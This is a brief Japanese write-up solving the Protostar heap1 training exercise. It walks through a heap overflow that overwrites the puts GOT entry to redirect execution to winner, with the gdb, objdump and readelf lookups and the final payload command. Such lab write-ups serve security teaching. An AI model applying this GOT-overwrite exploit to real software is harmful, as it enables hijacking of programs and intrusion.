Exploit Exercises Protostar Heap1
Protostar Heap1
$ file heap1
heap1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=d8d9ab550fbb79da574639c8d3abdf96594cc21d, not stripped
$ checksec --file heap1
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH heap1
とNo RELRO
なのでgotへの書き込みが可能である。与えられたコードによると、
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
と2回書き込みがあるので、1回目でoverflowによりi2->name
にprintf
のgotのアドレスを書き込み、2回目の書き込みはそのgotに目的の関数winner
のアドレスを書き込めばよい。
ただし、printf("and that's a wrap folks!\n");
の呼び出しは最適化によりputs("and that's a wrap folks!");
で置き換わっている1ので、puts
のgotを使用する。
$ ./heap1 foo bar
and that's a wrap folks!
$ gdb heap1
...
# the malloc-ed addresses are 0x804a008, 0x804a018, 0x804a028 and 0x804a038
$ echo $[0x804a028+4 - 0x804a018]
20
$ objdump -d -M intel heap1 | grep -A 1 '<puts@plt>:'
080483cc <puts@plt>:
80483cc: ff 25 74 97 04 08 jmp DWORD PTR ds:0x8049774
$ readelf -s heap1 | grep '\<winner\>'
55: 08048494 37 FUNC GLOBAL DEFAULT 14 winner
$ ./heap1 $(perl -e 'print "A"x20, "\x74\x97\x04\x08"') $(echo "\x94\x84\x04\x08")
and we have a winner @ 1453452850
-
gccであればdefaultの
-O0
でも発生する最適化。-fno-builtin
で抑制できる。 ↩